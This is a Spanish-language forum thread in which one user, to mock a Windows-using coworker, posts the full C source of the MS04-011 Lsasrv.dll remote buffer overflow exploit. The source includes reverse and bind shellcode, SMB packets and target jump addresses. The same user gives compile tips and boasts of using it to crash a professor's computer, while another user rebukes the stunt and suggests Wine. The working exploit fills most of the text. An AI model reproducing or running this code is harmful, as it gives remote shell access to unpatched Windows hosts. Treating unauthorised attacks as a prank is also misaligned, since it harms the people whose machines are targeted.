si su compañero de oficina les ve usuar linux (el uasa Windows) y dice
"Yo no uso eso por ke no funciona es feo y no puedo jugar Warcraft III"
respuesta????
Compilo esto lo ejecuto y me rio....
#include <windows.h>
#include <stdio.h>
#include <conio.h>
#pragma comment(lib, "ws2_32")
// reverse shellcode
unsigned char reverseshell[] =
"\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\x25\x01\x80\x34\x0B\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF"
"\x70\x62\x99\x99\x99\xC6\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
"\xE9\x85\x34\x12\xF1\x91\x12\x6E\xF3\x9D\xC0\x71\x02\x99\x99\x99"
"\x7B\x60\xF1\xAA\xAB\x99\x99\xF1\xEE\xEA\xAB\xC6\xCD\x66\x8F\x12"
"\x71\xF3\x9D\xC0\x71\x1B\x99\x99\x99\x7B\x60\x18\x75\x09\x98\x99"
"\x99\xCD\xF1\x98\x98\x99\x99\x66\xCF\x89\xC9\xC9\xC9\xC9\xD9\xC9"
"\xD9\xC9\x66\xCF\x8D\x12\x41\xF1\xE6\x99\x99\x98\xF1\x9B\x99\x9D"
"\x4B\x12\x55\xF3\x89\xC8\xCA\x66\xCF\x81\x1C\x59\xEC\xD3\xF1\xFA"
"\xF4\xFD\x99\x10\xFF\xA9\x1A\x75\xCD\x14\xA5\xBD\xF3\x8C\xC0\x32"
"\x7B\x64\x5F\xDD\xBD\x89\xDD\x67\xDD\xBD\xA4\x10\xC5\xBD\xD1\x10"
"\xC5\xBD\xD5\x10\xC5\xBD\xC9\x14\xDD\xBD\x89\xCD\xC9\xC8\xC8\xC8"
"\xF3\x98\xC8\xC8\x66\xEF\xA9\xC8\x66\xCF\x9D\x12\x55\xF3\x66\x66"
"\xA8\x66\xCF\x91\xCA\x66\xCF\x85\x66\xCF\x95\xC8\xCF\x12\xDC\xA5"
"\x12\xCD\xB1\xE1\x9A\x4C\xCB\x12\xEB\xB9\x9A\x6C\xAA\x50\xD0\xD8"
"\x34\x9A\x5C\xAA\x42\x96\x27\x89\xA3\x4F\xED\x91\x58\x52\x94\x9A"
"\x43\xD9\x72\x68\xA2\x86\xEC\x7E\xC3\x12\xC3\xBD\x9A\x44\xFF\x12"
"\x95\xD2\x12\xC3\x85\x9A\x44\x12\x9D\x12\x9A\x5C\x32\xC7\xC0\x5A"
"\x71\x99\x66\x66\x66\x17\xD7\x97\x75\xEB\x67\x2A\x8F\x34\x40\x9C"
"\x57\x76\x57\x79\xF9\x52\x74\x65\xA2\x40\x90\x6C\x34\x75\x60\x33"
"\xF9\x7E\xE0\x5F\xE0";
// bind shellcode
unsigned char bindshell[] =
"\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x7D\x01\x80\x34\x0A\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF"
"\x70\x95\x98\x99\x99\xC3\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
"\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x12\xED\x87\xE1\x9A"
"\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8\x12\xA6"
"\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E\x9D"
"\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A"
"\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58"
"\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9A\xC0"
"\x71\x1E\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x66\xCE\x65\xC3\x12\x41"
"\xF3\x9C\xC0\x71\xED\x99\x99\x99\xC9\xC9\xC9\xC9\xF3\x98\xF3\x9B"
"\x66\xCE\x75\x12\x41\x5E\x9E\x9B\x99\x9D\x4B\xAA\x59\x10\xDE\x9D"
"\xF3\x89\xCE\xCA\x66\xCE\x69\xF3\x98\xCA\x66\xCE\x6D\xC9\xC9\xCA"
"\x66\xCE\x61\x12\x49\x1A\x75\xDD\x12\x6D\xAA\x59\xF3\x89\xC0\x10"
"\x9D\x17\x7B\x62\x10\xCF\xA1\x10\xCF\xA5\x10\xCF\xD9\xFF\x5E\xDF"
"\xB5\x98\x98\x14\xDE\x89\xC9\xCF\xAA\x50\xC8\xC8\xC8\xF3\x98\xC8"
"\xC8\x5E\xDE\xA5\xFA\xF4\xFD\x99\x14\xDE\xA5\xC9\xC8\x66\xCE\x79"
"\xCB\x66\xCE\x65\xCA\x66\xCE\x65\xC9\x66\xCE\x7D\xAA\x59\x35\x1C"
"\x59\xEC\x60\xC8\xCB\xCF\xCA\x66\x4B\xC3\xC0\x32\x7B\x77\xAA\x59"
"\x5A\x71\x76\x67\x66\x66\xDE\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD"
"\xEB\xFC\xEA\xEA\x99\xDA\xEB\xFC\xF8\xED\xFC\xC9\xEB\xF6\xFA\xFC"
"\xEA\xEA\xD8\x99\xDC\xE1\xF0\xED\xCD\xF1\xEB\xFC\xF8\xFD\x99\xD5"
"\xF6\xF8\xFD\xD5\xF0\xFB\xEB\xF8\xEB\xE0\xD8\x99\xEE\xEA\xAB\xC6"
"\xAA\xAB\x99\xCE\xCA\xD8\xCA\xF6\xFA\xF2\xFC\xED\xD8\x99\xFB\xF0"
"\xF7\xFD\x99\xF5\xF0\xEA\xED\xFC\xF7\x99\xF8\xFA\xFA\xFC\xE9\xED"
"\x99\xFA\xF5\xF6\xEA\xFC\xEA\xF6\xFA\xF2\xFC\xED\x99";
char req1[] =
"\x00\x00\x00\x85\xFF\x53\x4D\x42\x72\x00\x00\x00\x00\x18\x53\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
"\x00\x00\x00\x00\x00\x62\x00\x02\x50\x43\x20\x4E\x45\x54\x57\x4F"
"\x52\x4B\x20\x50\x52\x4F\x47\x52\x41\x4D\x20\x31\x2E\x30\x00\x02"
"\x4C\x41\x4E\x4D\x41\x4E\x31\x2E\x30\x00\x02\x57\x69\x6E\x64\x6F"
"\x77\x73\x20\x66\x6F\x72\x20\x57\x6F\x72\x6B\x67\x72\x6F\x75\x70"
"\x73\x20\x33\x2E\x31\x61\x00\x02\x4C\x4D\x31\x2E\x32\x58\x30\x30"
"\x32\x00\x02\x4C\x41\x4E\x4D\x41\x4E\x32\x2E\x31\x00\x02\x4E\x54"
"\x20\x4C\x4D\x20\x30\x2E\x31\x32\x00";
char req2[] =
"\x00\x00\x00\xA4\xFF\x53\x4D\x42\x73\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
"\x00\x00\x10\x00\x0C\xFF\x00\xA4\x00\x04\x11\x0A\x00\x00\x00\x00"
"\x00\x00\x00\x20\x00\x00\x00\x00\x00\xD4\x00\x00\x80\x69\x00\x4E"
"\x54\x4C\x4D\x53\x53\x50\x00\x01\x00\x00\x00\x97\x82\x08\xE0\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00\x77\x00\x73\x00\x20\x00"
"\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x32\x00\x31\x00\x39\x00"
"\x35\x00\x00\x00\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00\x77\x00"
"\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x35\x00"
"\x2E\x00\x30\x00\x00\x00\x00\x00";
char req3[] =
"\x00\x00\x00\xDA\xFF\x53\x4D\x42\x73\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
"\x00\x08\x20\x00\x0C\xFF\x00\xDA\x00\x04\x11\x0A\x00\x00\x00\x00"
"\x00\x00\x00\x57\x00\x00\x00\x00\x00\xD4\x00\x00\x80\x9F\x00\x4E"
"\x54\x4C\x4D\x53\x53\x50\x00\x03\x00\x00\x00\x01\x00\x01\x00\x46"
"\x00\x00\x00\x00\x00\x00\x00\x47\x00\x00\x00\x00\x00\x00\x00\x40"
"\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x06\x00\x06\x00\x40"
"\x00\x00\x00\x10\x00\x10\x00\x47\x00\x00\x00\x15\x8A\x88\xE0\x48"
"\x00\x4F\x00\x44\x00\x00\x81\x19\x6A\x7A\xF2\xE4\x49\x1C\x28\xAF"
"\x30\x25\x74\x10\x67\x53\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00"
"\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00"
"\x32\x00\x31\x00\x39\x00\x35\x00\x00\x00\x57\x00\x69\x00\x6E\x00"
"\x64\x00\x6F\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00"
"\x30\x00\x20\x00\x35\x00\x2E\x00\x30\x00\x00\x00\x00\x00";
char req4[] =
"\x00\x00\x00\x5C\xFF\x53\x4D\x42\x75\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
"\x00\x08\x30\x00\x04\xFF\x00\x5C\x00\x08\x00\x01\x00\x31\x00\x00"
"\x5C\x00\x5C\x00\x31\x00\x39\x00\x32\x00\x2E\x00\x31\x00\x36\x00"
"\x38\x00\x2E\x00\x31\x00\x2E\x00\x32\x00\x31\x00\x30\x00\x5C\x00"
"\x49\x00\x50\x00\x43\x00\x24"
"\x00\x00\x00\x3F\x3F\x3F\x3F\x3F\x00";
char req5[] =
"\x00\x00\x00\x64\xFF\x53\x4D\x42\xA2\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xDC\x04"
"\x00\x08\x40\x00\x18\xFF\x00\xDE\xDE\x00\x0E\x00\x16\x00\x00\x00"
"\x00\x00\x00\x00\x9F\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x03\x00\x00\x00\x01\x00\x00\x00\x40\x00\x00\x00"
"\x02\x00\x00\x00\x03\x11\x00\x00\x5C\x00\x6C\x00\x73\x00\x61\x00"
"\x72\x00\x70\x00\x63\x00\x00\x00";
char req6[] =
"\x00\x00\x00\x9C\xFF\x53\x4D\x42\x25\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xDC\x04"
"\x00\x08\x50\x00\x10\x00\x00\x48\x00\x00\x00\x00\x04\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54\x00\x48\x00\x54\x00\x02"
"\x00\x26\x00\x00\x40\x59\x00\x10\x5C\x00\x50\x00\x49\x00\x50\x00"
"\x45\x00\x5C\x00\x00\x00\x00\x00\x05\x00\x0B\x03\x10\x00\x00\x00"
"\x48\x00\x00\x00\x01\x00\x00\x00\xB8\x10\xB8\x10\x00\x00\x00\x00"
"\x01\x00\x00\x00\x00\x00\x01\x00\x6A\x28\x19\x39\x0C\xB1\xD0\x11"
"\x9B\xA8\x00\xC0\x4F\xD9\x2E\xF5\x00\x00\x00\x00\x04\x5D\x88\x8A"
"\xEB\x1C\xC9\x11\x9F\xE8\x08\x00\x2B\x10\x48\x60\x02\x00\x00\x00";
char req7[] =
"\x00\x00\x0C\xF4\xFF\x53\x4D\x42\x25\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xDC\x04"
"\x00\x08\x60\x00\x10\x00\x00\xA0\x0C\x00\x00\x00\x04\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54\x00\xA0\x0C\x54\x00\x02"
"\x00\x26\x00\x00\x40\xB1\x0C\x10\x5C\x00\x50\x00\x49\x00\x50\x00"
"\x45\x00\x5C\x00\x00\x00\x00\x00\x05\x00\x00\x03\x10\x00\x00\x00"
"\xA0\x0C\x00\x00\x01\x00\x00\x00\x88\x0C\x00\x00\x00\x00\x09\x00"
"\xEC\x03\x00\x00\x00\x00\x00\x00\xEC\x03\x00\x00";
// room for shellcode here ...
char shit1[] =
"\x95\x14\x40\x00\x03\x00\x00\x00\x7C\x70\x40\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x7C\x70\x40\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x7C\x70\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x7C\x70\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x78\x85\x13\x00\xAB\x5B\xA6\xE9";
char req8[] =
"\x00\x00\x10\xF8\xFF\x53\x4D\x42\x2F\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xFF\xFE"
"\x00\x08\x60\x00\x0E\xFF\x00\xDE\xDE\x00\x40\x00\x00\x00\x00\xFF"
"\xFF\xFF\xFF\x08\x00\xB8\x10\x00\x00\xB8\x10\x40\x00\x00\x00\x00"
"\x00\xB9\x10\xEE\x05\x00\x00\x01\x10\x00\x00\x00\xB8\x10\x00\x00"
"\x01\x00\x00\x00\x0C\x20\x00\x00\x00\x00\x09\x00\xAD\x0D\x00\x00"
"\x00\x00\x00\x00\xAD\x0D\x00\x00";
// room for shellcode here ...
char req9[] =
"\x00\x00\x0F\xD8\xFF\x53\x4D\x42\x25\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x18\x01"
"\x00\x08\x70\x00\x10\x00\x00\x84\x0F\x00\x00\x00\x04\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54\x00\x84\x0F\x54\x00\x02"
"\x00\x26\x00\x00\x40\x95\x0F\x00\x5C\x00\x50\x00\x49\x00\x50\x00"
"\x45\x00\x5C\x00\x00\x00\x00\x00\x05\x00\x00\x02\x10\x00\x00\x00"
"\x84\x0F\x00\x00\x01\x00\x00\x00\x6C\x0F\x00\x00\x00\x00\x09\x00";
char shit3[] =
"\x00\x00\x00\x00\x9A\xA8\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x01\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x9A\xA8\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x9A\xA8\x40\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x9A\xA8\x40\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00";
#define LEN 3500
#define BUFSIZE 2000
#define NOP 0x90
struct targets {
int num;
char name[50];
long jmpaddr;
} ttarget[]= {
{ 0, "WinXP Professional [universal] lsass.exe ", 0x01004600 }, // jmp esp addr
{ 1, "Win2k Professional [universal] netrap.dll", 0x7515123c }, // jmp ebx addr
{ 2, "Win2k Advanced Server [SP4] netrap.dll", 0x751c123c }, // jmp ebx addr
//{ 3, "reboot", 0xffffffff }, // crash
{ NULL }
};
void usage(char *prog)
{
int i;
printf("Usage:\n\n");
printf("%s <target> <victim IP> <bindport> [connectback IP] [options]\n\n", prog);
printf("Targets:\n");
for (i=0; i<3; i++)
printf(" %d [0x%.8x]: %s\n", ttarget[i].num, ttarget[i].jmpaddr, ttarget[i].name);
printf("\nOptions:\n");
printf(" -t: Detect remote OS:\n");
printf(" Windows 5.1 - WinXP\n");
printf(" Windows 5.0 - Win2k\n\n");
exit(0);
}
int main(int argc, char *argv[])
{
int i;
int opt = 0;
char *target;
char hostipc[40];
char hostipc2[40*2];
unsigned short port;
unsigned long ip;
unsigned char *sc;
char buf[LEN+1];
char sendbuf[(LEN+1)*2];
char req4u[of(req4)+20];
char screq[BUFSIZE+sizeof(req7)+1500+440];
char screq2k[4348+4060];
char screq2k2[4348+4060];
char recvbuf[1600];
char strasm[]="\x66\x81\xEC\x1C\x07\xFF\xE4";
char strBuffer[BUFSIZE];
unsigned int targetnum = 0;
int len, sockfd;
short dport = 445;
struct hostent *he;
struct sockaddr_in their_addr;
char smblen;
char unclen;
WSADATA wsa;
printf("\nMS04011 Lsasrv.dll RPC buffer overflow remote exploit v0.1\n");
printf("--- Coded by .::[ houseofdabus ]::. ---\n\n");
if (argc < 4) {
usage(argv[0]);
}
target = argv[2];
sprintf((char *)hostipc,"\\\\%s\\ipc$", target);
for (i=0; i<40; i++) {
hostipc2[i*2] = hostipc[i];
hostipc2[i*2+1] = 0;
}
memcpy(req4u, req4, sizeof(req4)-1);
memcpy(req4u+48, &hostipc2[0], strlen(hostipc)*2);
memcpy(req4u+47+strlen(hostipc)*2, req4+87, 9);
smblen = 52+(char)strlen(hostipc)*2;
memcpy(req4u+3, &smblen, 1);
unclen = 9 + (char)strlen(hostipc)*2;
memcpy(req4u+45, &unclen, 1);
if (argc > 4)
if (!memcmp(argv[4], "-t", 2)) opt = 1;
if ( (argc > 4) && !opt ) {
port = htons(atoi(argv[3]))^(USHORT)0x9999;
ip = inet_addr(argv[4])^(ULONG)0x99999999;
memcpy(&reverseshell[118], &port, 2);
memcpy(&reverseshell[111], &ip, 4);
sc = reverseshell;
} else {
port = htons(atoi(argv[3]))^(USHORT)0x9999;
memcpy(&bindshell[176], &port, 2);
sc = bindshell;
}
if ( (atoi(argv[1]) == 1) || (atoi(argv[1]) == 2)) {
memset(buf, NOP, LEN);
//memcpy(&buf[2020], "\x3c\x12\x15\x75", 4);
memcpy(&buf[2020], &ttarget[atoi(argv[1])].jmpaddr, 4);
memcpy(&buf[2036], sc, strlen(sc));
memcpy(&buf[2840], "\xeb\x06\xeb\x06", 4);
memcpy(&buf[2844], &ttarget[atoi(argv[1])].jmpaddr, 4); // jmp ebx addr
//memcpy(&buf[2844], "\x3c\x12\x15\x75", 4); // jmp ebx addr
memcpy(&buf[2856], sc, strlen(sc));
for (i=0; i<LEN; i++) {
sendbuf[i*2] = buf[i];
sendbuf[i*2+1] = 0;
}
sendbuf[LEN*2]=0;
sendbuf[LEN*2+1]=0;
memset(screq2k, 0x31, (BUFSIZE+sizeof(req7)+1500)*2);
memset(screq2k2, 0x31, (BUFSIZE+sizeof(req7)+1500)*2);
} else {
memset(strBuffer, NOP, BUFSIZE);
memcpy(strBuffer+160, sc, strlen(sc));
memcpy(strBuffer+1980, strasm, strlen(strasm));
*(long *)&strBuffer[1964]=ttarget[atoi(argv[1])].jmpaddr;
}
memset(screq, 0x31, BUFSIZE+sizeof(req7)+1500);
WSAStartup(MAKEWORD(2,0),&wsa);
if ((he=gethostbyname(argv[2])) == NULL) { // get the host info
perror("[-] gethostbyname ");
exit(1);
}
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket");
exit(1);
}
their_addr.sin_family = AF_INET;
their_addr.sin_port = htons(dport);
their_addr.sin_addr = *((struct in_addr *)he->h_addr);
memset(&(their_addr.sin_zero), '\0', 8);
printf("[*] Target: IP: %s: OS: %s\n", argv[2], ttarget[atoi(argv[1])].name);
printf("[*] Connecting to %s:445 ... ", argv[2]);
if (connect(sockfd, (struct sockaddr *)&their_addr, sizeof(struct sockaddr)) == -1)
{
printf("\n[-] Sorry, cannot connect to %s:445. Try again...\n", argv[2]);
exit(1);
}
printf("OK\n");
if (send(sockfd, req1, sizeof(req1)-1, 0) == -1) {
printf("[-] Send failed\n");
exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);
if (send(sockfd, req2, sizeof(req2)-1, 0) == -1) {
printf("[-] Send failed\n");
exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);
if (send(sockfd, req3, sizeof(req3)-1, 0) == -1) {
printf("[-] Send failed\n");
exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);
if ((argc > 5) || opt) {
printf("[*] Detecting remote OS: ");
for (i=0; i<12; i++) {
printf("%c", recvbuf[48+i*2]);
}
printf("\n");
exit(0);
}
printf("[*] Attacking ... ");
if (send(sockfd, req4u, smblen+4, 0) == -1) {
printf("[-] Send failed\n");
exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);
if (send(sockfd, req5, sizeof(req5)-1, 0) == -1) {
printf("[-] Send failed\n");
exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);
if (send(sockfd, req6, sizeof(req6)-1, 0) == -1) {
printf("[-] Send failed\n");
exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);
if ( (atoi(argv[1]) == 1) || (atoi(argv[1]) == 2)) {
memcpy(screq2k, req8, sizeof(req8)-1);
memcpy(screq2k+sizeof(req8)-1, sendbuf, (LEN+1)*2);
memcpy(screq2k2, req9, sizeof(req9)-1);
memcpy(screq2k2+sizeof(req9)-1, sendbuf+4348-sizeof(req8)+1, (LEN+1)*2-4348);
memcpy(screq2k2+sizeof(req9)-1+(LEN+1)*2-4348-sizeof(req8)+1+206, shit3, sizeof(shit3)-
1);
if (send(sockfd, screq2k, 4348, 0) == -1) {
printf("[-] Send failed\n");
exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);
if (send(sockfd, screq2k2, 4060, 0) == -1) {
printf("[-] Send failed\n");
exit(1);
}
} else {
memcpy(screq, req7, sizeof(req7)-1);
memcpy(screq+sizeof(req7)-1, &strBuffer[0], BUFSIZE);
memcpy(screq+sizeof(req7)-1+BUFSIZE, shit1, 9*16);
screq[BUFSIZE+sizeof(req7)-1+1500-304-1] = 0;
if (send(sockfd, screq, BUFSIZE+sizeof(req7)-1+1500-304, 0)== -1){
printf("[-] Send failed\n");
exit(1);
}
}
printf("OK\n");
len = recv(sockfd, recvbuf, 1600, 0);
return 0;
}
Luego le digo!!!
es por que no me gusta pagar por cosas que estan mal hechas y no tengo el codigo para poder areglarlas.
alguno tiene Otra opcion de respuesta????? :wink:






perdon por la lamerada de pregunta, pero q compilador usaste??
yo uso kylix 3 for C++ enterprice lo tengo en Linux RH pero tienes problemas com distribuciones nuevas solo guarda el codigo con .cpp
si no tienes todas las librerias como Windows.h viene en Visual C++ ahi tambien puedes compilarl el codigo. ha funciona en Windows Xp sin el parche
para el lassas yo lo utilizo en mi U para apagarle la compu a mi profesor cuando esta aburrida la clase ya tengo algunos nuevos para poner aki para hacer algo como "Por que no deve usar Windows" seria interesante La
otra vez mi profesor de sistemas operativos nos dijo traten de colgar a Linux
pero que ya nada se pueda hacer solo resetiarlo y les paso el semestre.. nadie pudo ni yo aunke lo colge pero lo restablecio... cuando dijo mm bueno cuelgen Windows
hasta el mas bobito lo hizo!! :p
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Exites 10 tipos de personas: las que saben binario y las que no.
Lastima que no hayas demostrado nada...
Usas un exploit (el código es una copia textual) para una falla (MS04011) de Windows y (sin temor a equivocarme) no sabes nada acerca del código que vas a ejecutar.
Obviamente el compilador debe ser compatible con Windows (y también me atrevo a decir que lo compilaste en windows), ya que la cabecera windows.h es propiedad de ellos. Lo que aparta la idea de usar código libre.
Como tú mismo nos cuentas, cualquiera (y bien cualquiera) puede bajarse un exploit, compilarlo y ejecutarlo. Pero eso no muestra nada a nadie; mucho peor es una forma ridícula de hacer que alguien cambie su óptica. Ya deberíamos saber que hay que enseñar a pescar y no regalar los peces si queremos en realidad ayudar.
¿Que nadie pudo bajar el sistema Linux, incluso tú tampoco? pues talvez tienes una idea exagerada de tus capacidades en ese campo, lo más probable es que en el mismo sitio donde encontraste el exploit para windows está el que manda un puntero a una posicion del manejo de memoria y resetea el sistema en los GNU/Linux.
No he querido entablar una guerra santa, simplemente me parece que no podemos dar opciones a otras personas por la fuerza, y mucho peor por la fuerza que no tenemos.
Ayudas para el problema de no poder usar su juego podría ser:
LinuxEmu donde puede encontrar informacion para emulacion psx, psx2, etc
Franks Corner es lo mejor para ver como correr aplicaciones/juegos de Windows usando Wine/WineX
mal mal
bueno la verdad la libreria la pudes encontrar muy facilmente en GOOGLE es totalmente gratis nadie te pide ni serial por ella ni tampoko es trial !! te la pudes bajar de muchos lugares!! tampoko kiero peliar pero tu mismo lo dices WIne!!! que pasaria si.... no regalo el codigo en verdad desde que salio el Sp2 no funciona pero si lo compilas pudes ver que es total mente compatible... si no me crees Usa WINE (emulador de windows
en Linux como cygwin emulador de linux en windows) veras ke tansolo compilarlo con el kylix pudes poner un una terminal los parametros y ejecutarlos talves jamas intentaste eso...!! deverias hacerlo y si no lo crees intentalo...!! (sino crees informate) no me tiro a grande pero en realidad haslo eso es lo malo no lo intentaste...! abre tu mente loko!! y veras!!
sabes buska Win32 API..(Application Programming Interface) enserio compilalo Win32 Api son librerias no solo funciona en Windows lo pudes usar tanto en Mac OS como en linux solo para compilacion y usos de comandos sino por ke kecres ke el comando "Dir" funciona en los dos sistemas??
No hubiera querido seguir en el tema pero me gustaría poner unas aclaraciones:
Es importante el leer TODO el mensaje anterior y entender la idea.
Y complementando el punto; hooooola... el que sea gratuito no quiere decir que sea libre, es una burda traducción que tenemos al traducir "free". El núcleo Linux es el corazón de los sistemas GNU/Linux y sería bueno que aquellos confundidos con creer que todo lo gratuito es libre se den una vuelta por GNU y lean el titulote que allí se muestra, y para más rasgos la filosofía.
Despues de dejar claro que es tonto el dañar para obligar a elegir lo que a nosotros nos parece (y sabemos que nadie tiene la verdad absoluta), debemos recordar que red code atacaba a Apache que es el web-server por excelencia del código libre.
Nuevamente: